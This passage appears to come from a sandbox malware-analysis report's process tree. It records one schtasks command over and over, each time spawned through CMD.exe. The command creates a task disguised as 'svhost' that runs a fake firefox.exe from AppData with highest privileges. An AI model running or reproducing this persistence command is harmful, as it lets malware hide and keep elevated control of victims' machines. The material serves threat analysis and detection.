      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3708
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3092
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3228
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5300
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5980
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1796
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2172
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5964
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4052
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2632
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4332
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5520
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3992
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4880
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1664
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5116
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3860
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3656
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5308
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4596
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2588
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4224
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:540
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4872
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6104
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5688
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5276
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3956
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:464
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2696
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5744
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5680
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5800
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5664
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6116
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:636
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5924
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5196
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2792
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3092
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5980
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:944
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1048
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1744
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4052
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2628
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5596
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2632
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4840
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5304
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3124
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4516
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3824
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:540
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5696
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5200
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1964
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2716
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5100
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2780
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1544
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2332
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:632
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2280
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1408
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5652
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:220
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2228
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4620
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3408
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4092
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5468
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6076
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4648
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2800
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2548
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2416
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2720
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1208
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4636
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1660
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3420
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2328
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:464
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4580
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5856
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2296
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5448
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3716
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2148
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6088
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1628
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6140
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4688
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5092
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5164
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5680
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5852
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2824
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1164
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3056
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5712
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:404
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8052
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8012
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8084
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8124
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8148
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8200
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8248
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8280
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8308
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8356
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8416
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8452
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8468
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8512
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8532
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:9172
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:9092
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:9044
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:9012
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8972
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8948
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8908
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8892
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8852
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8792
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8752
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8736
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8696
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8680
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8644
- - C:\Windows\SYSTEM32\CMD.exe
